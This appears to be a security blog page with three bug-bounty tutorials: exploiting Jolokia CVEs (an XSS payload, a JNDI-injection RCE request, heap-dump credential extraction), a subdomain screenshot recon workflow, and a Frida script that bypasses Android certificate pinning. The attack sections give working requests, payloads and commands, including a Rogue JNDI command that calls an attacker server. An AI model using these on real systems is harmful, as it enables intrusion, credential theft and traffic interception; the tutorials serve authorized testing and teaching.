How I made more than $30K with Jolokia CVEs

Dear Readers – it’s been a while.

First and foremost: This blog post is mostly inspired by the Gotham Security : jolokia-vulnerabilities-rce-xss write-up. None of what you are about to read is really new; I just found it difficult to find a complete write-up which describes the most common misconfigurations, so I decided to spin my own testing environment to walk you through the process.

Based on this research, I was able to earn $33,500 in bounties across multiple targets and I’m sure there’s more to find. This is something that you can actively find on your hunt.

I’ve split up this blog post in two sections. The first describes the main functionalities of Jolokia as well as how to set it up in test environment. The second focuses mainly on the actual exploitation of already published CVEs. A successful exploitation may vary on the version and implementation that you find, however from my tests, I was able to confirm most bugs without any problems.

1. 📖 Introduction and Installation of Jolokia  

During one of my security issue hunts, I’ve stumbled upon quite a few servers that had a Jolokia endpoint enabled. For those unaware, Jolokia is a Java Management Extension (JMX) bridge, which allows users to perform certain actions with HTTP GET and POST requests using JSON. The extension is mostly used for monitoring purposes (reporting about Java memory consumption, CPU usage, etc.)

For our Bug Bounty or Penetration Testing purposes, if you perform a regular ffuf or dirsearch on your targets, you’ll find results listed as `/ jolokia`, `/ jolokia/list` or in combination with `actuator`. If the target installed the extension using Tomcat, the service is usually found on port 8080. Depending on how the site configured the extension, public access should be prohibited, however based on my research, I was able to identify plenty of cases where those endpoints were publicly exposed. It’s, as always, a matter of luck.

1.1 🐧 Ubuntu minimal installation

To get a better understanding about what Jolokia is capable of, I installed a minimal version of Ubuntu (any other Linux distribution will work too) and set up a Virtual Machine using VMware Fusion. After completing the base system installation (including SSH, VIM, etc.), the next part is to install the Tomcat Manager on the system. Here’s an image of my system setup:

1.2 🐱 Tomcat installation and configuration

To install the latest version of Tomcat, you must have Java running on the system. To do so, we run `sudo apt install default-jdk` and follow the setup process. As Tomcat will run as an independent user on the system, we’ll have to add a new group named tomcat. To do so, run the command `sudo groupadd tomcat` and `sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat`. Next, we’ll assign the appropriate directories to the users as well as restrict the access for this given user. I have summarized the necessary steps here (please keep in mind that the latest version as of writing this was `9.0.34`):

sudo apt install default-jdk
sudo groupadd tomcat
sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
cd /tmp/
curl -O https://mirror.checkdomain.de/apache/tomcat/tomcat-9/v9.0.34/bin/apache-tomcat-9.0.34.tar.gz
sudo mkdir /opt/tomcat
sudo tar xzvf apache-tomcat-*tar.gz -C /opt/tomcat --strip-components=1
cd /opt/tomcat
sudo chgrp -R tomcat /opt/tomcat
sudo chmod -R g+r conf
sudo chmod g+x conf
sudo chown -R tomcat webapps/ work/ temp/ logs/
vim /etc/systemd/system/tomcat.service

To access the management interface of Tomcat, you need to create the manager and admin role by specifying a Username and a Password. For the purposes of the demo, I chose the combination `admin` and `password`, however please don’t ever make your credentials so simple on a publicly reachable server.

To make the necessary changes, you need to edit the following file : `/opt/tomcat/conf/opt/tomcat/conf` and put append line to the end:
`<user username=”admin” password=”password” roles=”manager-gui,admin-gui”/>`

If you have done everything correctly, you should be able to access the Tomcat Management Interface on the IP of your Virtual Machine (you can find that out using the command `ifconfig` and you should see something like `ens33`(your interface) followed by it’s class C IP address. In my case, it is http://192.168.0.91:8080/manager.

After confirming, if you visit the IP address in your browser, you should be presented with a basic authentication prompt. Use the credentials you created earlier and added to the Tomcat conf file. We should now be able to install a vulnerable version of Jolokia. Here’s a screenshot of my Tomcat Web Application Manager:

1.3 🌶️ Installation of Jolokia

The installation of Jolokia is pretty straight forward. All we need to do is download the desired version of Jolokia. For this example, that is vulnerable version 1.3.4.

Once downloaded, browse to your management interface of Tomact (in my case, that’s visiting http://192.168.0.91:8080/manager/html) and click on “Deploy WAR”. Select the Jolokia WAR file you just downloaded and let Tomcat handle the installation. Once done, you should be able to browse http://192.168.0.91:8080/jolokia/ and get a similar response to:

{
   "request":{
      "type":"version"
   },
   "value":{
      "agent":"1.4.0",
      "protocol":"7.2",
      "config":{
[..]
      },
      "info":{
         "product":"tomcat",
         "vendor":"Apache",
         "version":"9.0.34"
      }
   },
   "timestamp":1592211957,
   "status":200
}

This confirms a successful installation and we’re now good to test the actual implementation! Lets get to it 🙂

2. 🐛 Common Bugs and Exploitation

The following Part will cover most of the public Jolokia exploits. In order to exploit the really interesting ones like Remote Code Execution, we’ll need additional tools described in Section 2.1. In a real world scenario, I’d strongly recommend installing those on a publicly facing server (any VPS server will do).

For the Setup, I used a cheap VPS system from 💧 Digitalocean 💧. The easiest operating system for me was Ubuntu together with a 1GB of memory, one vCPU and 25GB of SSD Disk as shown here:

These resources should be more than enough for the task. For the region, I always chose the one that’s closest to my physical location to avoid latency. In my case, Frankfurt is the closest location as shown here:

I like to add IPv6 support to my droplets to have a better coverage of IPv4 and IPv6 targets. For the authentication, I use my SSH keys (who remembers Passwords anyways?):

After deploying the machine, the first step is to login to the machine using SSH with the command `ssh root@yourip`. Next, we’ll install the following necessary tools.

2.1 🛠️ Required Setup and Tools

To exploit the previously mentioned Remote Execution CVE, we need the helper tool Rogue JNDI. Basically, this tool allows us to create a malicious LDAP server for JNDI injection and exploitation. The following commands will install the latest version of the Orcale Java SDK, necessary to compile the required files. Additionally, we’ll also install the `maven` package to help us collect the necessary libraries to compile this project.

echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installer
sudo update-alternatives --config java
apt-get install maven

Once completed and assuming you didn’t have any errors, you will need to clone the repository to your server using git clone https://github.com/veracode-research/rogue-jndi. Once done, `cd` into the folder (`cd rogue-jndi`) and run `maven package`. Once this is done, you should have a directory called `target` with the compiled Java files. If everything from above has worked out, we are ready to move on to the exploitation part.

Note: A helper tool I would recommend installing is `jq`. This tool is a lightweight and flexible command-line JSON processor. This will help display long, complex JSON responses in a readable manner.

2.1.1 🔬 Basic Information gathering

As with every Bug Bounty and Penetration Testing assessment, information gathering is fundamental. Your goal is to gain as much information as possible about your target and its underlying system to effectively exploit the target. After performing your regular ffuf or dirsearch on the target, if you find a jolokia instance, the first thing to do is running the following: `curl https://target/jolokia/version –insecure | jq .` This should return basic information about the used version of Jolokia. In my case, the response I received was:

{
  "request": {
    "type": "version"
  },
  "value": {
    "agent": "1.3.4",
    "protocol": "7.2",
    "config": {
      "maxCollectionSize": "0",
      "agentId": "",
      "debug": "false",
      "agentType": "servlet",
      "policyLocation": "file:/opt/tomcat/server/conf/jolokia-access.xml",
      "serializeException": "false",
      "detectorOptions": "{}",
      "dispatcherClasses": "org.jolokia.jsr160.Jsr160RequestDispatcher",
      "agentDescription": "JobService0",
      "maxDepth": "15",
      "discoveryEnabled": "false",
      "canonicalNaming": "true",
      "historyMaxEntries": "10",
      "includeStackTrace": "true",
      "maxObjects": "0",
      "mbeanQualifier": "qualifier=jolokia0",
      "debugMaxEntries": "100"
    },
    "info": {
      "product": "activemq",
      "vendor": "Apache",
      "version": "5.15.3"
    }
  },
  "timestamp": 1586451282,
  "status": 200
}

As you can see, the agent version is `1.3.4`. This is important because searching for CVEs depends on identifying affected versions (and the version where vulnerabilities were fixed). For example, the CVE-2018-1000130 description states:

A JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.

Another interesting piece from the Jolokia response is the `policyLocation`. This reveals the installation path of Tomcat (helpful because if you know it, you don’t need to brute-force it). We’ll use this information to exploit an Information Disclosure vulnerability later in this article.

I’ve also found that some servers run in `debug` mode, allowing attackers to obtain sensitive information about the system and components used. As such, the next step of our information gathering is to identify the different methods available to us. To do so, execute the following command: `curl https://<target>/jolokia/list/ –insecure | jq .` where <target> is your target’s URL. The response returned will depend on the setup.  A default installation should look similar to this:

{
  "request": {
    "type": "list"
  },
  "value": {
    "jdk.management.jfr": {
      "type=FlightRecorder": {
        "op": {
          "getRecordingOptions": {
            "args": [
              {
                "name": "p0",
                "type": "long",
                "desc": "p0"
              }
            ],
 [..]

This command will list all available functions you can interact with. Sometimes there will be hundreds; some will be helpful, others won’t be. The functions here are called MBeans (to find out more about these, have a look at the Oracle documentation for mbeans). An MBean can represent a device, an application, or any resource that needs to be managed. MBeans expose an abstract management interface that usually consists of a set of readable or writeable attributes (in some cases both), a set of invokable operations and a short description. Jolokia supports three very basic operations; `exec` for executing a method, `read` for reading a method and `search` for searching a method. Most of the Jolokia Protocol can be accessed either using a `POST` or `GET` request in combination with any of the basic operations. For a detailed overview of Jolokia functionalities, please have a look at the following Jolokia documentation.

Now that we have an overview of the supported functionalities as well as the used version, we can now jump into exploitation.

2.2 🔥 Exploiting CVE-2018-1000129 (Reflected Cross-Site Scripting)

Prior to version 1.5.0, Jolokia was vulnerable to a basic Reflected Cross-Site Scripting attack due to the fact that the `mimeType` could be arbitrarily set by an attacker. The documentation states:

The MIME type to return for the response. By default, this is text/plain, but it can be useful for some tools to change it to application/json. Init parameters can be used to change the default mime type.

The author of the CVE was able to identify that it was possible to change the mimeType to `text/html` which will instruct the browser to interpret the response from the server as HTML. Therefore, a payload like `<svg%20onload=alert(document.cookie)>` will be interpreted as valid Javascript. This was remediated by only allowing the mime types of `text/plain` and `application/json` as a means of preventing attacks using Javascript. To quickly check if the target is vulnerable to this Cross-Site Scripting attack, simply visit the following path on your target:

`https://<target>/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html`

If vulnerable, you should be able to see the infamous Javascript alert, indicating a successful Cross-Site Scripting attack.

2.3 🔥 Exploiting CVE-2018-1000130 (Remote Code Execution)

So as not not disappoint my readers, we’ll now focus on Remote Code Execution. CVE-2018-1000130 states:

“a JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server”.

In short, the Java Naming and Directory Interface (JNDI) is a Java API for a directory services (such as LDAP). To find this vulnerability, we need to dig a bit deeper into the actual functionalities of Jolokia. One method that can be used in combination with an MBean is a managed Java object, similar to a JavaBeans component. The managed Java object must follow the design patterns set in the JMX specification. In this example, we’ll use the Mbean `java.lang:type=Memory` which supports a URL Object to be attached to it. In this URL Object,  we specify a Remote Method Invocation (RMI) to a Java Naming and Directory Interface (JNDI) API that will make a call to a LDAP Server. Using the rogue LDAP Server described in 2.1, we will use a valid Server to serve a malicious payload and exploit an unsafe reflection in `0org.apache.naming.factory.BeanFactory`, resulting in our remote code execution.

In order to execute the attack, we run our malicious LDAP Server using RogueJDNI with the following command: `java -jar target/RogueJndi-1.0.jar –command “curl http://<yourserver.com>:7777” –hostname “<yourattackingserver>”`. Here’s a screenshot of my server starting the LDAP server:

This will create an LDAP service on your server and prepare the payload to be delivered to the Jolokia service. In this example, you need to adjust the `command` part (this will be your payload). In my case, I used a simple `curl` command to trigger an outgoing connection to my server, however depending on the operating system the Jolokia service is running on, you may want to adjust this to `nslookup` (for Windows) or other similar commands to prove exploitation. The `hostname` parameter should match the IP of your server if you want it to be publicly accessible. Rogue JDNI is capable of supporting multiple payloads for a variety of Systems e.g. Tomcat, Websphere etc. In our example, we will be focusing on Tomcat.

After the LDAP server has successfully started, we need to create a second listener which will wait for the `command` or payload that we specified earlier. Following my `curl` example, I usually set up a very easy netcat listener e.g. `nc -lvp 7777`. This will open a port on `7777` and wait for incoming connections.

Once that is done, you’ll want to open Burpsuite, or any other intercepting proxy, and make a request to the vulnerable target server, similar to:

POST /jolokia/read/getDiagnosticOptions HTTP/1.1
Host: YourTarget
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "target" : { 
         "url" : "service:jmx:rmi:///jndi/ldap://YourServer:1389/o=tomcat"
    } 
}

Please keep in mind, that you need to change the IP address here as well as the LDAP endpoint in order to have this executed successfully. After you send request, you should see an incoming request on your Netcat listener, similar to this:

If you came this far, congratulations! You have successfully run a Remote Code Execution on the Jolokia Server 🙂

2.4 🔥 Exploiting Java Heap Information Disclosure

As a final part, I want to demonstrate an exploitation technique which is not currently well documented and does not have a public CVE referrence. By Using the `com.sun.management:type=HotSpotDiagnostic` Mbean, it is possible to create a Heapdump of the current Java processes. For those unaware, Heap space in Java is used for dynamic memory allocation for Java objects at runtime. New objects are always created in heap space and the references to this objects are stored in stack memory. As you can already tell, this may lead to some juicy information disclosure depending on what is currently present in the memory. The `dumpHeap` operation in Jolokia additionally allows for setting an argument of where to actually store the heapdump file. An attacker is able to control this argument and specify an arbitrary path. In our example, we are going to store the file in the ROOT directory of the Tomcat server to serve it to the public and make it accessible. To do so, we want to send the following request in Burpsuite or any other intercepting proxy:

POST /jolokia/ HTTP/1.1
Host: 192.168.1.188:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

{
"type":"EXEC",
"mbean":"com.sun.management:type=HotSpotDiagnostic",
"operation":"dumpHeap",
"arguments":["/opt/tomcat/webapps/ROOT/test1.hprof",0]
}

This will create a file called `test1.hprof` in the default Tomcat directory `/opt/tomcat/webapps/ROOT/`. Once done, thee file can be downloaded by simply browsing to your target `https://<target>/jolokia/test1.hprof`. Depending on the load of the server, this file may be several hundreds of megabytes big and may take quite some time to download. Once done, we can use a tool like VisualVM (https://visualvm.github.io/) to investigate this file.

Open VisualVM, click on `File` -> `Load File` and open the HPROF file. You will be presented with a summary of what can be found in this Heap Dump (classes, objects, etc.). As these dumps usually contain massive amount of Data, VisualVM allows you to filter for certain keywords – evergreens in Pentests / Bug Bounties are `secret`, `authentication`, `bearer` etc. In this example, it was possible to find the basic authentication credentials for our Tomcat server (see PoC).

You can also do this from your terminal using preinstalled tools. To do so, run `cat test1.hprof | strings |  grep authorization:` which will give us the following: `authorization:Basic YWRtaW46cGFzc3dvcmQ==`. The actual Username / Password pair is Base64 encoded and this can be decoded using `echo YWRtaW46cGFzc3dvcmQ==  | base64 -d` which will give us the Username/Password pair of `admin:password`, which we’ve created earlier in this tutorial :). 

Once the credentials have been obtained from the dump, an attacker would use them to log into the management interface of Tomcat, deploy their own WAR files and most likely perform Remote Code Execution (see example).

🔲 Conclusion

If you’d made it this far, thank you very much for reading. This article should give you an idea of how you can approach exploiting commonly used open source software during your bug bounty hacking or penetration testing, without needing to attack the affected server.

🙏 Acknowledgements

I would like to thank Beyza and Pete Yaworsk for proofreading  this 📚 and Damian Strobel  and Justin Kennedy for having helped me to research and exploit this topic <3

If you’ve enjoyed this, please retweet this and if you are interested in more, follow me on Twitter – If you have any follow up question, please don’t hesitate to reach out at patrik (at) hackerone.com or hit me up on Bug Bounty Forum

Until next time! 

 

Patrik’s Bug Bounty 🛠️Tools🛠️

SVG: blog.it-securityguard.com/pbbt.svg

PDF: blog.it-securityguard.com/pbbt.pdf

XMIND: blog.it-securityguard.com/pbbt.xmind

PNG: blog.it-securityguard.com/pbbt.png

 

 

[Tools] Visual Recon – A beginners guide

📖Intro 📖

During the process of RECON you often get thousands of domains you have to look at. A suitable way to decrease the time you spend on each website is to take a screenshot of each website. There are several tools available such as EyeWitness (https://github.com/ChrisTruncer/EyeWitness) or ScreenShotter (https://github.com/BladeMight/ScreenShotter). Unfortunately, I had issues setting them up the way I wanted, so I created a little workflow which will use WebScreenshot, Aquatone and express-photo-gallery to quickly identify your attack-surface.

If you are into Recon and automation, you should definitely check out Nahamsec’s tool LazyRecon (https://github.com/nahamsec/lazyrecon/blob/master/lazyrecon.sh)

The way we will do it is to setup a virtual server, gather subdomains using aquatone-discover, scan the subdomains for open ports on 443 and 80 using aquatone-scan take a screenshot using WebScreenshot and finally create thumbnails using epg-prep and display them in a nice way using the node tool express-photo-gallery.

The following GIF shows the actual result, cool right?

💧Setting up a Digitalocean VPS💧:

For the Setup I am using a cheap VPS system from Digitalocean.

The easiest operating system for me was Ubuntu together with a 1GB of memory, one vCPU and 25GB of SSD Disk. This should be more than enough for the task.

For the region I always chose the one thats closest to my physical location to avoid latencies, (in my case Frankfurt is the closest location)

 

I like to add IPv6 support to my droplets to have a better coverage of IPv4 and IPv6 targets, for the authentication i use my SSH keys (who remembers Passwords anyways?)

👀Tutorial👀:

So the first step after deploying your machine is to log in using SSH:

`ssh root@yourip`, after this you want to install all the following necessary tools (see bottom). After you’ve installed all the necessary tools we can go ahead and start our visual recon process. For this example we will be using the domain uber.com you can find their bug bounty program here: https://hackerone.com/uber.

To start we first run aquatone (https://github.com/michenriksen/aquatone/)  to identify potential subdomains, to do so: `aquatone-discover -d uber.com` , you should see an output similar to this:

once the script has finished enumerating the subdomains, we need to identify whether the subdomains have a web server running, while it is possible that there could be a webserver on a different port, for this blog we will only focus on the ones running on port 443 and 80. To do the actual scan we use the aquatone-scan, with ` aquatone-scan -d uber.com -t 30 -p small` (where -t is defining the Threads used, and -p is the amount of ports used, small does only look for port 80 and 443.)

Now that we have identified all the open ports of the assets we can now go ahead and run Webscreenshot. It is possible to create screenshots with Aquatone too (using aquatone-gather) however, I wasn’t able to set it up properly on a VPS system, as such I am doing this with WebScreenshot. To do so we use the command `webscreenshot -i /root/aquatone/uber.com/urls.txt -o uber.com` this command tells webscreenshot to grab the list of urls created by aquatone and take a screenshot of each available domain inside the uber.com folder

This will likely take  some time. If you have a unstable internet connection, I recommend running this in a so called screen session. Screen allows you to run a script in a separate process and lets you detach it and return to it again. To do so run screen -R uber and press str+a+d to detach from the window. To return you simply type screen -r uber.

Once this is done, we use a tool called epg-prep (https://www.npmjs.com/package/epg-prep) to create thumbnails to do so, simply run: `epg-prep uber.com`

This will allow us to view the created pictures using express-photo-gallery.

In a final step, use the express-gallery-script from the bottom of this blogpost and save it as yourname.js. All you need to do is to change the folder name inside the script: app.use('/photos', Gallery('uber.com', options)); the folder name in this case is set uber.com but depending on which target you look at it may be different. Once you’ve done that you can simply run the script using node yourname.js. This will create a webserver listening on Port 3000 with an endpoint  called /photos. So to access this you simply type: http://yourserverip:3000/photos to get a nice overview of the subdomains you have enumerated. You can easily switch the photos by pressing the left or right arrow on your keyboard. At the bottom you will see a summary of all the screenshots that have been taken.

The next section will include all the necessary tools and software used in this blogpost, it should be enough to simply copy + paste those in your SSH session.

System Tools

apt update && apt upgrade
curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -
apt install -y git wget python python-pip phantomjs xvfb screen slurm gem phantomjs imagemagick graphicsmagick nodejs

Requirements for WebScreenshot

pip install webscreenshot
pip install selenium

Requirements for express-photo-gallery

sudo npm install -g npm
npm install express-photo-gallery
npm install express
npm install -g epg-prep

Requirements for Aquatone

git clone https://github.com/michenriksen/aquatone.git
cd aquatone/
gem install aquatone

express-photo-gallery Script

var express = require('express');
var app = express();

var Gallery = require('express-photo-gallery');

var options = {
  title: 'My Awesome Photo Gallery'
};

app.use('/photos', Gallery('uber.com', options));

app.listen(3000);

 

Easy right?

🙂 If you have any problems, feel free to reach out on twitter (@itsecurityguard) or hit me up on Bug Bounty Forum (https://bugbountyforum.com/)

So long,

Patrik

 

The Stony Path of Android 🤖 Bug Bounty – Bypassing Certificate Pinning

Dear readers,

Long story short, doing bug bounties for mobile devices is hard. With this article I want to show you a rather simple way to be able to bypass certificate pinning for all some of your Android mobile targets. The method described here is based on research and an awesome blogpost+script written by Piergiovanni Cipolloni. Whenever there was a bypass for certificate pinning it was always involving manipulating the SSLContext of the application. The researcher showed a way to invoke Frida and manipulate the SSLContext to build a script that is able to universally bypass  certificate pinning on Android.

In a nutshell the script works like this:

  1. It loads a rogue certificate from the file system (the CA Certificate of Burpsuite);
  2. It creates a very own KeyStore containing our trusted CA;
  3. In a final step it creates a TrustManager that trusts the CA in our KeyStore.

Whenever the application initializes its SSLContex, the Frida script hijacks the “`SSLContext.init()“` method and when it gets called, the 2nd parameter, which is the application TrustManager, with our own TrustManager we previously prepared. On Android the SSLContext function is called as follows:  “`SSLContext.init(KeyManager, TrustManager, SecuRandom))“`.

From a beginner’s perspective it is hard to get to the same point as Piergiovanni Cipolloni, therefore this blogpost will include a bit of an introduction to get everything setup properly.

The following blogpost will include:

  • How to install the Burp certificate to your device;
  • How to configure Burpsuite for mobile devices;
  • How to install Frida on your Android device;
  • How to run a remote Frida Server;
  • How to install Frida on your server;
  • How to invoke the script with your application.

Why Certificate Pinning?

With certificate pinning a developer ensures that their application does not accept fake certificates that are actually signed by an official certificate authority. The Android system itself only checks if the hierarchy of the certificate is correct and whether the CA (Certificate Authority) is listed in the so called “certificates of trust store”. But what happens if a malicious person installs a fake CA into the trust store? Well basically that person would be able to intercept the entire HTTPS traffic for the application. For this reason developers go a step further and compile the real certificate in the app and ensure that only this certificate can be used.

Pre-Conditions:

  • You’d need an Android Virtual Machine (or real device);
  • Some spare time;
  • ADB / Android Tools installed + configured.

The Setup – Part 1 Installing the Burp Certificate

With Burpsuite running go to your browser (default: “`127.0.0.1:8080“`) and click on CA Certifcate.  

This will download a file called “`cacert.der“`, take the file and rename it to “`cacert.cer“`. If you are wondering what the difference here is, please visit this link: http://www.gtopia.org/blog/2010/02/der-vs-crt-vs-cer-vs-pem-certificates/. The short story is it is just an alternate form.

If you are on a Mac and your default download directory is “`Downloads“` you may do the following:

1.) “`cd /Downloads“` – This changes your directory to Downloads;

2.) “`mv cacert.der cacert.cer“` – This renames the certificate;

3.) “`adb push cacert.cer /mnt/sdcard/DCIM/“` – This copies the certificate to the SD card of your device.

Not too hard right?

On the device itself (whether virtual or real) we have to install the certificate in order to put it into the Android trusted cert store.

To do so:

Click on the Menu Button – Go to “`Settings“` – Scroll all the way down to “`Security“` – Choose “`Install from SD card“`

Tap on the “`cacert.cer“` and name the certificate for example “`Burp“`.

If everything worked you should see under -> “`Settings“` -> “`Security“` -> “`Trusted credentials“` -> “`Users“`, the following entry:

🎉Hurray! 🎉 – You have now installed your own Certificate Authority to your system!

The Setup – Part 2 Configuring Burpsuite

Now that we have installed the PortSwigger (💗)  CA on our system we need to setup the proxy in order to intercept the traffic from the application the server.

Setting up your Android Device

Once again go to “`Settings“` -> Click on “`Wi-Fi“` -> Hold and Click “`WiredSSID“` -> Click on “`Modify Network“` -> Click on “`Proxy“`  -> Choose “`Manual“`.

You will be presented the following form:

What you need to fill out here:

Proxy Hostname – Is the IP Address of your Burp Suite Application (of your PC, your local IP Address).

Port – Is the Port you have Burp Suite running on (default is 8080).

Setting up Burp

Burp, by default opens a local Proxy running on “`localhost“` Port “`8080“`, in order to intercept our mobile traffic we have to setup Burp to listen on the external IP address. Start Burpsuite and go to “`Proxy“` -> “`Options“` select the current configuration (as shown in the picture below) and click on “`Edit“`.

Now select the option “`Specific Address“` and choose your local IP address (in my case it is 192.168.0.193). For you it can vary depending on how your DHCP server is assigning addresses.

If you are unsure which is your IP address, open up a terminal and type (on OSX) “`ifconfig en0 | grep inet“`.

If you’ve followed this tutorial to this point – 💪 You are now able to intercept traffic through the application without Certificate Pinning 💪! The next chapter will be about bypassing certificate pinning.

The Setup – Part 3 installing Frida on your Android Device

In order to bypass certificate pinning using this method we need to have a copy of “`Frida-Server“` installed on our Android device.  To do so, we need the latest version of  “`Frida-Server“` which can be downloaded from the Frida releases page on Github: https://github.com/frida/frida/releases, you now will wonder which version you need here…🤔 x86? x86_64? arm? – Thank god there is a command for everything! Just do “`adb shell getprop ro.product.cpu.abi“` to find out the right version for you, in my case it was x86. So for me the right version to choose was “`frida-server-10.6.15-android-x86.xz“`.  The experienced reader will notice that the .xz extension is an archive, before we can use the binary we have to extract it first. For the terminal geeks among you just use “`tar -xJf frida-server-10.6.15-android-x86“` for everyone else, the Unarchiver is your best friend. After extracting the binary we once again need to use the terminal.

1. ) mv frida-server-10.6.15-android-x86 frida-server – To rename it to “`frida-server“`;

2.)“`adb root“` – To ensure your environment is capable of running commands as root;

3.) “`adb push frida-server /data/local/tmp/ “` – To copy the “`frida-server“` binary to the device;

4.) “`adb shell “chmod 755 /data/local/tmp/frida-server” “` – To give the binary the correct permission on the file system;

5.) “`adb shell “/data/local/tmp/frida-server &”“` – To run the “`frida-server“` as a service in the background;

5.1) “`adh shell “/data/local/tmp/frida-server –listen 0.0.0.0 &“` if you want to have “`frida-server“` running on an external IP.

Installing Frida on your Machine

🎉🎉Across all platforms, all you need is sudo pip install frida 🎉🎉

To verify your Frida installation (both remote and local) you need to do a “`frida-ps“`. This displays a “`ps“` command that produces a list of the currently running processes on your device.

If connected via USB:  “`frida-ps U“`.

If you are using frida on an external address “`frida-ps -H 192.*.*.*“` whatever the address of your phone is.

If you are seeing a similar output:

You are the chosen one, and ready for bypassing certificate pinning.

For the proof of concept I am going to use a random application here, if you want a real-word scenario have a look at the many mobile bug bounties which can be found on Hackerone, Bugcrowd, Synack or Zerocopter.

To start bypassing certificate pinning, we need the Android SSL Re-pinning Frida script by Piergiovanni Cipolloni, which can be found here, here or at the bottom of this blogpost.

Bypassing Certificate Pinning using Frida

First of all, we need to install our target on the device, this can be done in multiple ways:

1.) Install the application from the Google Store.

2.) Download the application using Apkpure or apk-dl.

After doing so, open your terminal and install the application using “`adb install com.company.whatever.apk“`. Done 🐶.

The next step is to choose your target from the applications, as we did before this can be done using: “`frida-ps -H 192.*.*.*“` for a remote Frida server, or “`frida-ps -U“` if you have your device connected via USB. What you need to do next is create a copy of your previously generated “`cacert.cer“` (if you have followed the tutorial until this point it should still be in your “`Downloads“` folder).

For the very last time (I promise!) open up your terminal:

1.) “`cd Downloads“` – Move to the Downloads folder where your “cacert.cer” is;

2.) “`mv cacert.cer burpca-cert-der.crt“` – Rename it to match the file in the Frida Script;

3.) “`wget https://techblog.mediaservice.net/wp-content/uploads/2017/07/frida-android-repinning_sa-1.js“` – Download the Frida script;

4.) “`adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt“` – Push the rogue certificate to the device;

5.) “`frida -U -f it.app.mobile -l frida-android-repinning_sa-1.js –no-pause“` 🎉 NOW FINALLY 🎉 – WE DID IT!

If you see the following output:

 

 

It means you did everything right and you can now finally intercept all the traffic from those juicy bug bounty programs out there.

Thank you very much!

Patrik @itsecurityguard

 

PPS: A big shoutout to

EdOverflow https://twitter.com/EdOverflow  for 📚 proofreading 📚

/* 
   Android SSL Re-pinning frida script v0.2 030417-pier 

   $ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
   $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

   
Universal Android SSL Pinning bypass with Frida
*/ setTimeout(function(){ Java.perform(function (){ console.log(""); console.log("[.] Cert Pinning Bypass/Re-Pinning"); var CertificateFactory = Java.use("java.security.cert.CertificateFactory"); var FileInputStream = Java.use("java.io.FileInputStream"); var BufferedInputStream = Java.use("java.io.BufferedInputStream"); var X509Certificate = Java.use("java.security.cert.X509Certificate"); var KeyStore = Java.use("java.security.KeyStore"); var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory"); var SSLContext = Java.use("javax.net.ssl.SSLContext"); // Load CAs from an InputStream console.log("[+] Loading our CA...") cf = CertificateFactory.getInstance("X.509"); try { var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt"); } catch(err) { console.log("[o] " + err); } var bufferedInputStream = BufferedInputStream.$new(fileInputStream); var ca = cf.generateCertificate(bufferedInputStream); bufferedInputStream.close(); var certInfo = Java.cast(ca, X509Certificate); console.log("[o] Our CA Info: " + certInfo.getSubjectDN()); // Create a KeyStore containing our trusted CAs console.log("[+] Creating a KeyStore for our CA..."); var keyStoreType = KeyStore.getDefaultType(); var keyStore = KeyStore.getInstance(keyStoreType); keyStore.load(null, null); keyStore.setCertificateEntry("ca", ca); // Create a TrustManager that trusts the CAs in our KeyStore console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore..."); var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); var tmf = TrustManagerFactory.getInstance(tmfAlgorithm); tmf.init(keyStore); console.log("[+] Our TrustManager is ready..."); console.log("[+] Hijacking SSLContext methods now...") console.log("[-] Waiting for the app to invoke SSLContext.init()...") SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) { console.log("[o] App invoked javax.net.ssl.SSLContext.init..."); SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c); console.log("[+] SSLContext initialized with our custom TrustManager!"); } }); },0);